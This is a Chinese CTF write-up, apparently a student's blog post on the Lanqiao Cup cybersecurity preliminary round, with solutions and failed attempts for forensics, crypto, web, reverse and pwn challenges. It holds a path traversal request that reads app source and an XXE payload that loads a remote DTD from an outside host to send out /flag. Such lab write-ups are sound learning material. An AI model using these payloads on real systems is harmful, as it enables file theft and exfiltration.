先吐槽一波:初赛不让上网查资料是人打的嘛,真就初赛即决赛???还不是传统出题法,你那堆分类谁第一眼能看出来是什么题目啊???
我不信这比赛没有人用黄色版 CTF-all-in-One 好吧,一题出来了以后一堆人跟着出,一分钟内零解题出 5 个人是吧
然后说是不让用网,结果又发通知说有一题可以用 =-=
好好好玩我呢是吧
累了,事不过三,以后不报蓝桥了。蓝桥参加第三次了,前两次 Python 算法,今年第一次参加网安,太抽象了
我 TM 周末早八起来到底是为了啥哟 (┬_┬)
我的评价是:不如 CCSSSC,人平台虽然屎但是人比赛办的还不错啊,建议你下次别办
【数据分析】flowzip
There are many zip files.
打开流量包发现大量 HTTP 请求,里面包含 100 个 zip 文件
直接用 strings 提取
1 $ strings .\flowzip.pcapng | grep flag
得到
1 jpkwz.txtflag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}PK
所以 flag 为 flag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}
【数据分析】ezEvtx
EVTX文件是Windows操作系统生成的事件日志文件,用于记录系统、应用程序和安全事件。
(本题需要选手找出攻击者访问成功的一个敏感文件,提交格式为flag{文件名},其中文件名不包含文件路径,且包含文件后缀)
用 ELX 打开,搜索 access an object
就得到了
访问的文件为 C:\Admin\confidential.docx
,所以 flag 为 flag{confidential.docx}
【情报收集】黑客密室逃脱
你被困在了顶级黑客精心设计的数字牢笼中,每一道关卡都暗藏致命陷阱!唯一的逃脱之路,是破解散落在服务器各处的加密线索,找到最终的“数字钥匙”。
开局让我们看日志
访问得到线索
线索1:d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1
秘密区域告诉我们有文件读取
输入 /file?name=../../../../../../app/app.py
得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import osfrom flask import Flask, request, render_templatefrom config import *app = Flask(__name__) sensitive_info = SENSITIVE_INFO encryption_key = ENCRYPTION_KEY def simple_encrypt (text, key ): encrypted = bytearray () for i in range (len (text)): char = text[i] key_char = key[i % len (key)] encrypted.append(ord (char) + ord (key_char)) return encrypted.hex () encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key) log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info} " hidden_file_content = f"解密密钥: {encryption_key} " SAFE_ROOT_DIR = os.path.abspath('/app' ) with open (os.path.join(SAFE_ROOT_DIR, 'hidden.txt' ), 'w' ) as f: f.write(hidden_file_content) @app.route('/' ) def index (): return render_template('index.html' ) @app.route('/logs' ) def logs (): return render_template('logs.html' , log_content=log_content) @app.route('/secret' ) def secret (): return render_template('secret.html' ) @app.route('/file' ) def file (): file_name = request.args.get('name' ) if not file_name: return render_template('no_file_name.html' ) full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name)) if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path: return render_template('no_premission.html' ) try : with open (full_path, 'r' ) as f: content = f.read() return render_template('file_content.html' , content=content) except FileNotFoundError: return render_template('file_not_found.html' ) if __name__ == '__main__' : app.run(debug=True , host='0.0.0.0' )
debug = True
,想访问 /console
,打不开
看到有 hidden.txt
1 2 3 4 SAFE_ROOT_DIR = os.path.abspath('/app' ) with open (os.path.join(SAFE_ROOT_DIR, 'hidden.txt' ), 'w' ) as f: f.write(hidden_file_content)
得到解密密钥
根据题目给的 simple_encrypt
函数
1 2 3 4 5 6 7 def simple_encrypt (text, key ): encrypted = bytearray () for i in range (len (text)): char = text[i] key_char = key[i % len (key)] encrypted.append(ord (char) + ord (key_char)) return encrypted.hex ()
自己写一个解密的脚本
1 2 3 4 5 6 7 8 9 10 11 12 SECRET = bytearray .fromhex('d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1' ) key = "secret_key7434" decrypted = bytearray () for i in range (len (SECRET)): char = SECRET[i] key_char = key[i % len (key)] decrypted.append(char - ord (key_char)) print (decrypted)
解出来得到 flag
flag{6d037fe6-0329-449a-b529-71142b80a470}
【数据库安全】crawler(未出)
一个简单的爬虫系统,测测它的安全问题吧!
是一个用 PHP 写的系统,Cookie 里面有 PHPSESSID
打开是个登录页面,发现只有使用用户名为 admin
登录的时候会弹提示为 ❌ 用户名或密码错误
,其他用户名都是 ❌ 登录失败
爆破不出来,尝试一下 sql 注入,用 sqlmap 浅浅测一下,发现 sqlmap 说无法注入
那好吧,我确实没思路了
【密码破解】easy_AES(未出)
题目采用的是传统的AES加密,但是其中的key似乎可以通过爆破得到,你能找到其中的问题,解密出敏感数据吗?
题目给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from Crypto.Cipher import AES from secret import flag import random, os def pad (msg ): return msg + bytes ([16 - len (msg) % 16 for _ in range (16 - len (msg) % 16 )]) def permutation (key ): tables = [hex (_)[2 :] for _ in range (16 )] random.shuffle(tables) newkey = "" .join(tables[int (key[_], 16 )] for _ in range (len (key))) return newkey def gen (): key0 = os.urandom(16 ).hex () key1 = permutation(key0) return key0, key1 def encrypt (key0, key1, msg ): aes0 = AES.new(key0, AES.MODE_CBC, key1) aes1 = AES.new(key1, AES.MODE_CBC, key0) return aes1.decrypt(aes0.encrypt(msg)) key0, key1 = gen() a0, a1 = int (key0, 16 ), int (key1, 16 ) gift = a0 & a1 cipher = encrypt(bytes .fromhex(key0), bytes .fromhex(key1), pad(flag)) print (f"gift = {gift} " )print (f"key1 = {key1} " )print (f"cipher = {cipher} " )''' gift = 64698960125130294692475067384121553664 key1 = 74aeb356c6eb74f364cd316497c0f714 cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6' '''
出题人是不是懒得写代码了,这代码 AI 味也太浓了,连 (假设为明文)
都出来了(第二行)
首先可以看到题目生成了一对密钥,其中 key0 是随机生成的,key1 是通过 key0 中的内容随机编排而成的
然后再加密解密的过程中,key0 和 key1 会分别作为密钥和向量 iv 进行加解密,过程大概是
对 msg 用 key=key0, iv=key1 进行 AES 加密,在对结果用 key=key1, iv=key0 进行 AES 解密,得到了题目给我们的 cipher
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'
所以如果要反着来,就得要用 key=key1, iv=key0 先进行 AES 加密,再对其结果用 key=key0, iv=key1 进行 AES 解密才能得到我们的明文
然后现在的问题是 key0 未知,题目说可以爆破,但是题目给的条件说实话我不太会用
题目给了个 gift,然后这个 gift 是通过 a0 & a1
产生的(按位与)
然后?就么有然后了……真不会利用这个 gift
【密码破解】ECBTrain(未出)
AES的ECB模式存在很明显的缺陷。你能否尝试以admin身份完成本题挑战?
题目给了容器,nc 进去有注册、登录、退出三个选项
1 2 3 4 5 6 7 8 9 10 11 12 13 ╰─ nc 39.105.2.63 20628 _____ _____ ______ _____ _ | ___/ __ \| ___ \_ _| (_) | |__ | / \/| |_/ / | |_ __ __ _ _ _ __ | __|| | | ___ \ | | '__/ _` | | '_ \ | |___| \__/\| |_/ / | | | | (_| | | | | | \____/ \____/\____/ \_/_| \__,_|_|_| |_| 请选择操作: 1. 注册 2. 登录 3. 退出 请输入选项编号:
其中,注册不能够以用户名 admin
注册,我先用用户名 user,密码 123 注册得到
1 2 3 4 请输入选项编号: 1 请输入用户名: user 请输入密码: 123 注册成功!你的auth为: eHDaWi860uwUt/Khad7iSw==
而当我用登录,会这么说
1 2 3 4 5 6 7 8 9 请选择操作: 1. 注册 2. 登录 3. 退出 请输入选项编号: 2 若是能以admin身份登录就给你flag。 请输入auth: eHDaWi860uwUt/Khad7iSw== 登录成功! 你是以 user 身份登录
也就是说登录跟密码一点关系都没有,我们要做的是利用 ECB 模式的缺陷,使得我们的 auth 变成 admin 的 auth
那么问题来了 ECB 的缺陷是什么???(不让上网查呀我没办法呀)
【密码破解】Enigma(未出)
Enigma是20世纪早期由德国工程师Arthur Scherbius设计的一款便携式机械加密设备,旨在为需要高安全性通信的场景提供加密保护。其核心原理基于可旋转的机械转子、反射器和接线板的组合,通过复杂的电路转换实现对明文的加密与解密。
(本题需要选手还原成原文字母,提交格式为flag{原文字母},其中原文字母为全英文大写,且去掉空格。)
布什戈门?这 tm 是个啥哟???
题目给了一个 html 文件,打开是赛博厨子(设定好的)
没懂这是什么原理,又不让查,下一个
【漏洞挖掘分析】星际XML解析器(未出)
你已进入星际数据的世界,输入XML数据,启动解析程序,探索未知的数据奥秘!
打开是一个网页
确实实现了 xml 的解析,我开始在想是不是 XXE(因为 ADCTF 做过一道 XXE),先浅浅地拿 ADCTF 的 payload 来试试(虽然远程文件不存在)
1 2 3 4 5 6 7 8 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % dtd SYSTEM "https://org.bili33.top/CTFTMP/try.dtd"> %dtd; %send; ]> <reg><name>11</name><tel>22</tel><email>33</email></reg>
然后就报错了
看来并不是 XXE 那一套,还是不给查,我也没办法
【逆向分析】ShadowPhases(未出)
在调查一起跨国数据泄露事件时,你的团队在暗网论坛发现一组被称作’三影密匣’的加密缓存文件。据匿名线报,这些文件采用上世纪某情报机构开发的“三重影位算法”,关键数据被分割为三个相位,每个相位使用不同的影位密钥混淆。威胁分析显示,若不能在48小时内还原原始信息,某关键基础设施的访问密钥将被永久销毁。逆向工程师的日志残页显示:’相位间存在密钥共鸣,但需警惕内存中的镜像陷阱..
先惯例拖进 IDA 看看有没有什么线索,但是我没看出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 int __fastcall main (int argc, const char **argv, const char **envp) { char Str1[128 ]; char Str2[128 ]; void *v6; void *v7; void *v8; void *v9; void *v10; void *v11; char v12[13 ]; char v13[15 ]; char Src[5 ]; char v15[9 ]; void *v16; void *v17; void *Block; char v19[6 ]; size_t v20; size_t v21; size_t Size; sub_401B10(); Src[0 ] = 0 ; Src[1 ] = 5 ; Src[2 ] = -125 ; Src[3 ] = 0x80 ; Src[4 ] = -114 ; strcpy (v15, "+" ); v15[2 ] = -125 ; v15[3 ] = 47 ; v15[4 ] = -86 ; v15[5 ] = 43 ; v15[6 ] = -127 ; v15[7 ] = -88 ; v15[8 ] = -91 ; Size = 14 i64; v13[0 ] = 19 ; v13[1 ] = 57 ; v13[2 ] = -66 ; v13[3 ] = -66 ; v13[4 ] = -76 ; v13[5 ] = 56 ; v13[6 ] = -72 ; v13[7 ] = -70 ; v13[8 ] = -69 ; v13[9 ] = -76 ; v13[10 ] = 62 ; v13[11 ] = -112 ; v13[12 ] = 58 ; v13[13 ] = -70 ; v13[14 ] = -76 ; v21 = 15 i64; v12[0 ] = -117 ; v12[1 ] = -119 ; v12[2 ] = 34 ; v12[3 ] = -120 ; v12[4 ] = -117 ; v12[5 ] = 32 ; v12[6 ] = 9 ; v12[7 ] = 34 ; v12[8 ] = -120 ; v12[9 ] = 8 ; v12[10 ] = -115 ; v12[11 ] = -120 ; v12[12 ] = -81 ; v20 = 13 i64; v19[5 ] = -103 ; v19[4 ] = -35 ; v19[3 ] = -1 ; qmemcpy(v19, "\"Df" , 3 ); Block = malloc (0xF ui64); v17 = malloc (v21 + 1 ); v16 = malloc (v20 + 1 ); if ( !Block || !v17 || !v16 ) { puts (&Buffer); exit (1 ); } memcpy (Block, Src, Size); memcpy (v17, v13, v21); memcpy (v16, v12, v20); sub_4015B6((__int64)Block, Size, v19[2 ]); sub_4015B6((__int64)v17, v21, v19[1 ]); sub_4015B6((__int64)v16, v20, v19[0 ]); *((_BYTE *)Block + Size) = 0 ; *((_BYTE *)v17 + v21) = 0 ; *((_BYTE *)v16 + v20) = 0 ; v9 = v17; v10 = v16; v11 = Block; v6 = Block; v7 = v17; v8 = v16; sub_401550(Str2, 0x80 ui64, "%s%s%s" , (const char *)Block, (const char *)v17, (const char *)v16); printf (&Format); scanf ("%127s" , Str1); if ( !strcmp (Str1, Str2) ) puts (&byte_40502A); else puts (&byte_405031); free (Block); free (v17); free (v16); return 0 ; }
【逆向分析】BashBreaker(未出)
赛博考古学界流传着一个传说——人工智能先驱艾琳·巴什博士在自杀前,将毕生研究的核心算法封存在了他的量子实验室中。这个实验室遵循古老的巴什博弈协议,唯有通过15枚光子硬币的智慧试炼,才能唤醒沉睡的实验室AI。
简单来说这就是在 15 步的步程内,双方都可以选择走 1~3 步,谁先走到终点谁就赢了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 int __fastcall main (int argc, const char **argv, const char **envp) { unsigned int v3; int v5[2 ]; unsigned int i; int v7; int v8; _main(argc, argv, envp); v8 = 15 ; v3 = time(0 i64); srand(v3); puts ("You want my treasure? You can have it all if you want it. Go find it! I hid the treasure chest in the program" ); puts ("Number of remaining steps: 15 | 1 to 3 steps per round | The first one to get to the KEY\n" ); v5[1 ] = 0 ; while ( v8 > 0 ) { printf ("Remaining steps: [%d]\n" , (unsigned int )v8); do { printf ("Number of steps (1-3): " ); while ( scanf ("%d" , v5) != 1 ) { printf ("Input error, please re-enter: " ); while ( getchar() != 10 ) ; } if ( v5[0 ] > 0 && v5[0 ] <= 3 ) { if ( v8 < v5[0 ] ) printf (aNotEnoughSteps, (unsigned int )v8); } else { puts (aMustTake13Step); } } while ( v5[0 ] <= 0 || v5[0 ] > 3 || v8 < v5[0 ] ); v8 -= v5[0 ]; printf ("* Player walks %d steps, remaining %d\n\n" , (unsigned int )v5[0 ], (unsigned int )v8); if ( v8 <= 0 ) { full_decrypt(); puts ("This is your KEY. You deserve it ! !" ); for ( i = 0 ; i <= 0x2F ; ++i ) printf ("%02X" , real_key[i]); break ; } v7 = calculate_best_move((unsigned int )v8); if ( v7 <= 0 || v7 > 3 ) v7 = 1 ; if ( v7 > v8 ) v7 = v8; v8 -= v7; printf ("* The AI takes %d steps, remaining %d\n\n" , (unsigned int )v7, (unsigned int )v8); if ( v8 <= 0 ) puts ("This treasure does not belong to you. Go back, Boy" ); } printf ("\nGame over ! " ); system("pause" ); return 0 ; }
在 calculate_best_move
函数中能够看到对手的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall calculate_best_move (int a1) { if ( a1 <= 0 ) return 0 i64; if ( a1 % 4 ) return (unsigned int )(a1 % 4 ); if ( a1 == 4 ) return 3 i64; if ( a1 == 8 ) return 3 i64; return (unsigned int )(rand() % 3 + 1 ); }
如果剩余的步数小于等于 0,返回 0;如果 a1 % 4 != 0
,就返回余数,如果 a1 == 4
或者 a1 == 8
,就返回 3,其他时候返回一个随机的步数
我相信这一题肯定不会是让你真的来做完这个游戏的,但是我也不知道咋做
【漏洞挖掘分析】RuneBreach(未出)
你是一名穿越到异世界的勇者,正面临最终决战!邪恶的 Boss 即将占领你的王国,唯一的机会就是利用传说中的“漏洞之剑”击败它。
然而,Boss 在战场上布下了魔法沙箱结界,禁止你使用常规的“召唤术”!你必须找到结界中的弱点,注入符文,才能给予 Boss 致命一击!
这个题目里面说到”魔法沙箱结界”,我在想是不是沙箱逃逸
拖进 IDA 看一眼,在函数 battle_loop
里面有战斗相关的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 void __noreturn battle_loop () { unsigned int v0; char v1; int v2; unsigned int v3; int v4; int v5; v4 = 100 ; v5 = 150 ; v2 = 1 ; puts ("\n==== BOSS BATTLE START ====" ); while ( 1 ) { v0 = v2++; printf ("\n-- Round %d --\n" , v0); printf ("Player HP: %d | Boss HP: %d\n" , (unsigned int )v4, (unsigned int )v5); v3 = (int )(((double )v4 / 200.0 + 0.5 ) * (double )20 ); printf ("You attack! Damage: %d\n" , v3); v5 -= v3; if ( v5 <= 0 ) break ; printf ("\nDefend? (y/N): " ); v1 = getchar(); while ( getchar() != 10 ) ; if ( v1 == 121 || v1 == 89 ) { v4 -= 7 ; printf ("You defend! Damage reduced: %d\n" , 15LL ); } else { v4 -= 30 ; printf ("No defense! Damage taken: %d\n" , 30LL ); } if ( v4 <= 0 ) { puts ("\n[System] Game Over..." ); boss_victory(); exit (0 ); } } puts ("\n[System] Boss defeated!" ); victory_message(); exit (0 ); }
然后如果打败了 Boss,会让你说胜利宣言,此时在 victory_message
函数里面获取输入用的是 gets
1 2 3 4 5 6 7 8 9 10 11 unsigned __int64 victory_message () { char v1[40 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); printf ("[System] Enter victory comment: " ); gets(v1); printf ("Your comment: %s\n" , v1); return __readfsqword(0x28 u) ^ v2; }
然后 v1
的长度是 40,所以暂且认为这里有一个栈溢出
然后再看输了的逻辑,Boss 会说这块领地是它的了,然后会告诉你这块领地(内存)的地址(但其实程序最开始也告诉你了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 boss_victory () { void *addr; addr = (void *)(exec_area & 0xFFFFFFFFFFFFF000 LL); if ( mprotect((void *)(exec_area & 0xFFFFFFFFFFFFF000 LL), 0x1000 uLL, 7 ) == -1 ) { perror("mprotect failed" ); exit (1 ); } printf ("[BOSS] Your place is mine now %p!\n" , addr); printf ("[BOSS] Say your last word to your territory: " ); read(0 , addr, 1056uLL ); return ((__int64 (*)(void ))addr)(); }
这里用的是 read
读取,看起来没有什么可以用的,而且 addr
是一个指针
所以大概率能利用的是那个栈溢出,但是我没有找到 vuln
那种可利用的函数
【漏洞挖掘分析】Jdbc_once(未出)
Fenjing是一款为CTF比赛设计的自动化脚本,专注于Jinja SSTI漏洞利用,旨在绕过WAF。它能自动攻击指定网站或接口,省去手动测试和fuzz WAF的时间。通过智能生成payload,支持编码混淆、字符替换等绕过技术。来用Fenjing测一测你的网站是否存在安全问题吧。
(题目同时开放了8888端口和80端口,该题目允许使用互联网辅助答题,不允许使用AI作答)
这就是公告里面说可以查的那一体,焚靖确实可以自动化测 SSTI,打开题目提供的 8888 端口就是一个焚靖,但是如果我们直接访问 80 端口就会被拦住,提示 Only 127.0.0.1
,而我修改标头也没有绕过这一点
但是用焚靖就可以访问
没明白这题想要干嘛,说实话
总结 我太菜了(呜呜呜
蓝桥初赛断网抽象归抽象,但说到底还是有点储备不足了……咱确实也不是全栈爷 =-=
但是但是,事不过三,蓝桥肯定不会有下一次了,我绝对不会再报蓝桥了,本来是想要弄点比赛加分才打的,但是后面发现这玩意在我们学校加分挺少的,而且报个名还有 300 块,所以肯!定!不!会!再!有!下!次!了!